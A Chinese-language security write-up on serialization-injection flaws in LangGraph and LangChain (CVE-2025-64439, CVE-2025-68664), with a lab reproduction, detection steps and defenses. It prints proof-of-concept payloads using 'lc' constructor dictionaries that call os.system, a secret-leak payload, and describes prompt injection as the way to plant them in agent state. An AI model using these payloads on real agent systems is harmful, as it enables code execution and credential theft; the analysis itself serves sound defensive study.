AI 智能体框架序列化注入漏洞:原理分析与靶场复现
序列化注入(Serialization Injection)是智能体框架中的一类新型漏洞:攻击者通过提示注入让恶意结构进入智能体状态,框架在持久化与恢复状态时用自身序列化器处理这些数据,反序列化器将携带特定标记的攻击者数据当作受信任的框架对象还原,从而实现任意代码执行、密钥窃取与任意类实例化。本文以 LangGraph 的 CVE-2025-64439(CVSS 9.8)与 LangChain C
1 引言
现代智能体框架(LangChain、LangGraph、CrewAI、AutoGen、Microsoft Agent Framework、Google ADK 等)普遍具备有状态执行能力:对话历史、图节点中间变量、工具调用结果都会被持久化到检查点(Checkpoint)存储中,以便会话恢复、断点续跑和多轮记忆。这条"保存—恢复"链路是框架自身的可信代码,与 LLM 的推理过程完全隔离。
安全策略通常也围绕 LLM 展开:内容过滤审查模型输入输出,工具护栏约束工具调用。这类防御隐含了一个假设:进入框架状态的数据只是数据,框架不会"执行"它们。
序列化注入打破了这一假设。2025 年 11 月至 12 月,LangChain 生态连续披露两个严重级序列化漏洞:LangGraph 检查点序列化器的反序列化 RCE(CVE-2025-64439[1])与 LangChain Core 的序列化注入"LangGrinch"(CVE-2025-68664[2])。Check Point 研究员 Yarden Porat 与 Shahar Tal 在 Black Hat USA 2026 的简报 No Tools Required: Post-Injection Exploitation Across AI Agent Frameworks 中进一步指出:这是智能体框架的架构性缺陷——框架未能将攻击者可控内容限制在数据平面内,使其跨入了受信任的编排、记忆、状态与解析逻辑。
这类攻击的共同点是:不需要任何工具调用、MCP 服务器或外部集成。一条提示让恶意结构进入状态,框架自己的保存与恢复行为就会在正确的时机引爆载荷。
2 智能体框架的状态序列化机制
2.1 为什么智能体状态必须序列化
LangGraph 的图执行由 Pregel 循环驱动,每个超步结束后,节点的状态变更通过 Checkpointer 写入存储(SQLite、Postgres、Redis 等),线程下次运行前再读回。写入读出的都是字节流,因此每个状态对象都要经过序列化器转换为字节、再从字节还原为对象。
# langgraph-checkpoint 的序列化协议(简化)
class SerializerProtocol(Protocol):
def dumps_typed(self, obj: Any) -> tuple[str, bytes]: ...
def loads_typed(self, data: tuple[str, bytes]) -> Any: ...默认序列化器是 JsonPlusSerializer。智能体状态里什么都会进:用户提示、工具输出、RAG 文档片段、模型生成的结构化 JSON——全部都是攻击者可以影响的内容。
2.2 LangChain 的 lc 标记体系
LangChain 生态的序列化格式中,lc 是保留键,用于标记"这不是普通数据,而是框架原生对象":
标记结构 | 语义 | 反序列化行为 |
| 密钥引用 | 从 secrets_map 或环境变量解析出真实值填入 |
| 构造器 | 动态导入模块并调用构造函数 |
| 构造器(新版) | 同上 |
合法的序列化器(dumpd())只在序列化真正的框架对象时写入 lc 标记。攻击者的普通字典不应携带它。
JsonPlusSerializer 采用双编码策略:优先使用 msgpack(二进制、紧凑);msgpack 失败时回退 JSON(文本、自描述)。
2.3 信任标签注入的本质
用数学方式描述:设反序列化器对输入对象 x 的判定规则为 P(x) ∈ {DATA, TRUSTED},执行语义为
- E(x) = import(x.id) · x.kwargs 当 P(x) = TRUSTED
- E(x) = x 当 P(x) = DATA
合法序列化保证只有框架自己生成的对象满足 P = TRUSTED。序列化注入则是攻击者构造 x_a(含 lc/type/id/kwargs 键),使其通过框架的数据通道进入反序列化器,此时 P(x_a) = TRUSTED,即攻击者数据获得了代码语义。整个攻击面与 LLM 推理无关——护栏审查的是"模型说了什么",而这里执行的是框架自己的代码。
3 攻击类型
3.1 CVE-2025-64439:检查点反序列化 RCE(LangGraph)
受影响:langgraph-checkpoint < 3.0(本靶场:2.1.2)
JsonPlusSerializer.dumps_typed() 优先走 msgpack。当状态字符串中含有孤立 Unicode 代理字符(如 \ud800)时,ormsgpack 抛出编码错误:
TypeError: str is not valid UTF-8: surrogates not alloweddumps_typed() 捕获该错误后静默回退到 JSON 模式:
# langgraph/checkpoint/serde/jsonplus.py(2.1.2,简化)
try:
return "msgpack", _msgpack_enc(obj)
except ormsgpack.MsgpackEncodeError as exc:
if "valid UTF-8" in str(exc):
return "json", self.dumps(obj) # 回退!
raise excJSON 模式的 loads() 挂载了 LC_REVIVER(LangChain 的 Reviver),它识别构造器标记并动态导入执行:
def default_reviver(value): # 简化逻辑
if value.get("lc") in (1, 2) and value.get("type") == "constructor":
module = importlib.import_module(".".join(value["id"][:-1]))
return getattr(module, value["id"][-1])(**value["kwargs"])
return value完整攻击链(无需任何工具调用):
- 攻击者向 Agent 发送含构造器载荷的输入(如提示注入让 LLM 将其写入状态,或经 RAG 文档进入状态)
- 图执行结束,检查点保存状态;节点返回值中的
\ud800使 msgpack 失败 → 整个状态以 JSON 模式落盘,载荷原样保留 - 下一条普通消息触发检查点重载;
_reviver读到构造器标记 →import os→os.system(command)→ RCE
{
"attack": {
"lc": 2,
"type": "constructor",
"id": ["os", "system"],
"kwargs": {"command": "cmd /c echo pwned > pwned.txt"}
},
"trigger": "surrogate \ud800 forces json fallback"
}版本组合注意:ormsgpack 的报错文案随版本变化。1.9.0–1.10.x 的消息含 valid UTF-8(命中回退分支);1.12.2 的消息变为 string contains surrogates(不含触发词,直接抛异常)。靶场复现需使用 ormsgpack==1.10.0(langgraph-checkpoint 2.1.2 官方声明范围内的版本即可触发)。
3.2 CVE-2025-68664:"LangGrinch" 序列化注入(LangChain Core)
受影响:langchain-core < 0.3.81、langchain 1.0.0–1.2.4(本靶场:0.3.74)
dumps() / dumpd() 序列化自由字典时不转义内嵌的 lc 键。攻击者数据经持久化后再次 loads() 时被 Reviver 当作受信任对象。公开分析确认的三种后果[2][3]:
后果 | 条件 | 影响 |
密钥窃取 |
| 环境变量中的 API Key、数据库密码被填入反序列化结果 |
任意类实例化 | 目标类在 | 实例化命名空间内任意类 |
RCE | 结合 Jinja2 模板引擎 | 模板渲染路径执行代码 |
触发入口与 3.1 相同:提示注入让 LLM 输出带 lc 键的结构化 JSON,应用用 dumps() 持久化,随后任何 loads() 都会授予其框架信任。
3.3 两种攻击的共性条件
维度 | CVE-2025-64439 | CVE-2025-68664 |
注入通道 | 状态值(含孤立代理字符 + 构造器字典) | 状态值(含 |
持久化行为 | Checkpointer 自动保存 | 应用调用 |
执行时机 | 下次检查点重载(框架自动) | 下次 |
执行位置 | 框架内部 Reviver | 框架内部 Reviver |
需要模型配合 | 否 | 否(提示注入只需让载荷进入状态) |
需要工具/MCP | 否 | 否 |
三个必要条件:攻击者内容进入状态 → 状态被持久化 → 持久化数据被再次加载。任何一条链路成立,漏洞即可利用。
3.4 攻击效果
图 1:攻击时序——保存阶段仅落盘不执行;下一条普通消息触发检查点重载,反序列化在框架进程内直接执行 os.system,全程无工具调用、无模型参与
4 靶场搭建与验证
4.1 环境架构
靶场使用三个相互隔离的 Python 虚拟环境,覆盖两个 CVE 的漏洞版与修复版:
虚拟环境 | 关键包版本 | 用途 |
| langgraph 0.4.10 / langgraph-checkpoint 2.1.2 / sqlite 2.0.11 / ormsgpack 1.10.0 | CVE-2025-64439 漏洞侧 |
| langgraph-checkpoint 4.2.0 / sqlite 3.1.1 / ormsgpack 1.12.2 | CVE-2025-64439 修复侧 |
| langchain-core 0.3.74 | CVE-2025-68664 漏洞侧 |
| langchain-core 1.6.6 | CVE-2025-68664 修复侧 |
PoC 脚本三份:poc_64439_serializer.py(序列化器单元级)、poc_64439_checkpoint.py(端到端 SqliteSaver)、poc_68664_langgrinch.py(LangGrinch)。
4.2 关键代码
序列化器级 PoC——孤立代理字符强制 JSON 回退,构造器字典作为载荷:
from langgraph.checkpoint.serde.jsonplus import JsonPlusSerializer
serializer = JsonPlusSerializer()
payload = {
"attack": {
"lc": 2,
"type": "constructor",
"id": ["os", "system"],
"kwargs": {"command": "cmd /c echo pwned> lab_pwned_64439.txt"},
},
"trigger": "surrogate \ud800 forces json fallback",
}
typed = serializer.dumps_typed(payload) # -> ("json", ...) 回退发生
serializer.loads_typed(typed) # -> os.system() 执行端到端 PoC 复刻官方 Advisory 的图执行流程:
class State(TypedDict):
foo: str
attack: dict
def my_node(state: State):
return {"foo": "oops i fetched a surrogate \ud800"}
graph = (StateGraph(State)
.add_node("my_node", my_node)
.add_edge(START, "my_node")
.compile(checkpointer=SqliteSaver.from_conn_string("lab_checkpoint.db")))
graph.invoke({"attack": attack}, config=config) # 保存(无害)
graph.invoke({"foo": "hi there"}, config=config) # 重载 -> 执行LangGrinch PoC——自由字典携带 lc 标记:
from langchain_core.load import dumps, loads
attacker = {
"user_input": "totally normal text",
"payload": {"lc": 1, "type": "secret", "id": ["MY_API_KEY"]},
}
blob = dumps(attacker) # 0.3.74:lc 键原样保留
obj = loads(blob, secrets_map={"MY_API_KEY": "sk-LEAKED-12345"})
print(obj["payload"]) # -> sk-LEAKED-123454.3 验证流程
步骤 1:确认环境版本。
图 2:漏洞侧为 langgraph-checkpoint 2.1.2 + ormsgpack 1.10.0(官方声明范围内即可触发);修复侧为 4.2.0 + 1.12.2
步骤 2:运行序列化器级 PoC,确认 JSON 回退与执行。
图 3:dumps_typed 返回 encoding = 'json'(回退发生);loads_typed 期间 os.system() 创建了 lab_pwned_64439.txt
步骤 3:运行端到端检查点 PoC,验证"保存无害、重载即执行"。
图 4:invoke #1 保存后 marker 不存在(False);invoke #2 仅发送普通消息 {"foo": "hi there"},检查点重载期间文件被创建——执行发生在 loading 与 done 之间
步骤 4:升级修复版重跑,验证补丁效果。
图 5:修复版 encoding = 'msgpack'——新版 ormsgpack 的 OPT_REPLACE_SURROGATES 选项在编码层替换代理字符,msgpack 不再失败,JSON 回退的触发条件被消除;即便手工构造 JSON 模式数据,构造器白名单也会阻止动态导入。两个 PoC 均无执行
步骤 5:分别运行 LangGrinch PoC,对照漏洞版与修复版行为。
图 6:漏洞侧(0.3.74):dumps() 原样输出 lc 键,loads() 泄漏密钥并实例化 AIMessage
图 7:修复侧(1.6.6):lc 键被转义为 __lc_escaped__,secret 不解析,constructor 沦为普通 dict
五张图完整还原了攻击与防御两侧:
- 图 1:时序全景——保存无害、重载执行
- 图 2–4:漏洞版环境下载荷进入状态 → JSON 回退落盘 → 重载即执行
- 图 5:修复版消除回退触发 + 白名单拦截 sink
- 图 6 / 图 7:修复版转义信任标记,数据永远是数据
5 检测方法
5.1 依赖版本核查
pip show langgraph-checkpoint langchain-core | grep -E "Name|Version"
# langgraph-checkpoint < 3.0 -> CVE-2025-64439
# langchain-core < 0.3.81 或 1.0.0-1.2.4 -> CVE-2025-68664注意 langgraph-checkpoint、langgraph-checkpoint-sqlite、langchain-core、langchain 是独立发版的包,必须逐一核对(见 6.1 的成套升级)。
5.2 代码审计点
审计点 | 危险模式 |
序列化器选型 | 显式实例化 |
持久化通道 | 用户/工具/RAG 内容能否进入 |
恢复路径 | 会话恢复、断点续跑、"恢复上次运行"功能是否重新验证数据来源 |
信任标记 | 应用层字典是否会包含 |
密钥解析 |
|
5.3 自动化工具
工具 | 用途 | 地址 |
pip-audit | 检测已安装包的已知 CVE | pypi.org/project/pip-audit |
safety | 依赖扫描 + SBOM | pypi.org/project/safety |
trivy / grype | 容器镜像与依赖扫描 | github.com/aquasecurity/trivy |
semgrep | 自定义规则匹配 | github.com/returntocorp/semgrep |
6 防御方案
6.1 成套升级
包 | 修复版本 | 说明 |
| ≥ 3.0.0 | 构造器反序列化白名单 + JSON 模式弃用;4.x 起在 msgpack 编码层启用 |
| ≥ 3.0.1 | 适配新版序列化器(本靶场实测:4.2.0 配 2.0.11 会直接 |
| ≥ 0.3.81(0.3.x 线)或 ≥ 1.2.5 |
|
| ≥ 1.2.5 | 随 core 补丁 |
| ≥ 0.5 | 自动引入已修复的 checkpointer |
本靶场实测的补丁机制:修复不是单点修补,而是三层防御——编码层(代理字符替换,回退不再触发)、解析层(构造器白名单)、标记层(lc 键转义)。
6.2 输入侧清洗
在数据进入状态前过滤不安全结构:
FORBIDDEN_KEYS = {"lc", "type", "id", "kwargs", "graphs"}
def sanitize_state(obj):
"""递归清洗进入智能体状态的内容"""
if isinstance(obj, str):
# 移除孤立代理字符,阻断 JSON 回退触发
return obj.encode("utf-8", "ignore").decode("utf-8")
if isinstance(obj, dict):
return {
k: sanitize_state(v)
for k, v in obj.items()
if k not in FORBIDDEN_KEYS # 剥离信任标记
}
if isinstance(obj, list):
return [sanitize_state(x) for x in obj]
return obj6.3 状态完整性
为检查点数据增加完整性校验与来源分离:
- HMAC 签名:写入时对序列化字节计算签名,读取时先验签再反序列化,防止存储被篡改
- 来源隔离:路由、权限等可信字段由服务端写入独立命名空间,永不接受状态值回填
- 恢复验证:跨会话/跨租户恢复检查点前重新校验数据来源与签名
6.4 序列化器配置
# 显式指定 allowed_objects,抑制危险的通用构造器
serializer = JsonPlusSerializer(allowed_objects="messages")
# 密钥解析显式关闭环境变量通道
loads(blob, secrets_from_env=False)原则:序列化失败应当报错终止,而不是静默降级到表达能力更强的格式——3.1 的整条攻击链都始于一次被吞掉的 MsgpackEncodeError。
7 总结
HTTP 请求走私的根本原因是两个组件对同一段字节流使用了不同的分帧规则;智能体框架序列化注入的根本原因是同一份数据在"框架代码"与"攻击者输入"两个信任域之间被不同的规则解释。后者更危险:分帧歧义还需要网络位置,而信任标记歧义只需要一条提示。
这类"数据越权获得代码语义"的漏洞并非智能体框架独有,而是反序列化漏洞类的重现:
- Python
pickle.loads:__reduce__让数据携带构造指令 yaml.load:标签系统让数据声明类型- Java 反序列化:gadget 链让数据描述调用序列
- LangChain
lc标记:{"type": "constructor", "id": [...]}让数据描述导入与调用
区别在于入口:经典反序列化漏洞需要攻击者直接接触序列化字节流,而智能体框架里,提示注入就能把恶意结构送进序列化通道——一条让 LLM 输出特定 JSON 的指令,等价于一次对框架内部的字节流写入。
防御的核心不是更强的模型或更严的护栏,而是恢复一条古老的工程原则:数据永远不能选择自己的类型,信任标记只能由可信方写入。升级修复版、清洗进入状态的内容、为持久化数据签名、让序列化失败显式报错——这四件事做齐,序列化注入在架构上就不再成立。
参考文献
[1] GHSA-wwqv-p2pp-99h5: LangGraph Checkpoint affected by RCE in "json" mode of JsonPlusSerializer. github.com/advisories/GHSA-wwqv-p2pp-99h5
[2] CVE-2025-68664: Deserialization of Untrusted Data (LangChain Core). rapid7.com/db/vulnerabilities/cve-2025-68664
[3] Cloud Security Alliance: LangChain and LangGraph — Critical Vulnerabilities in AI Orchestration. labs.cloudsecurityalliance.org, 2026-03
[4] Porat Y., Tal S. No Tools Required: Post-Injection Exploitation Across AI Agent Frameworks. Black Hat USA 2026.(录像:youtube.com/watch?v=hqZXrPBAbAU)
[5] langchain-ai/langgraph commit c5744f5: 修复补丁(构造器白名单与 JSON 模式弃用). github.com/langchain-ai/langgraph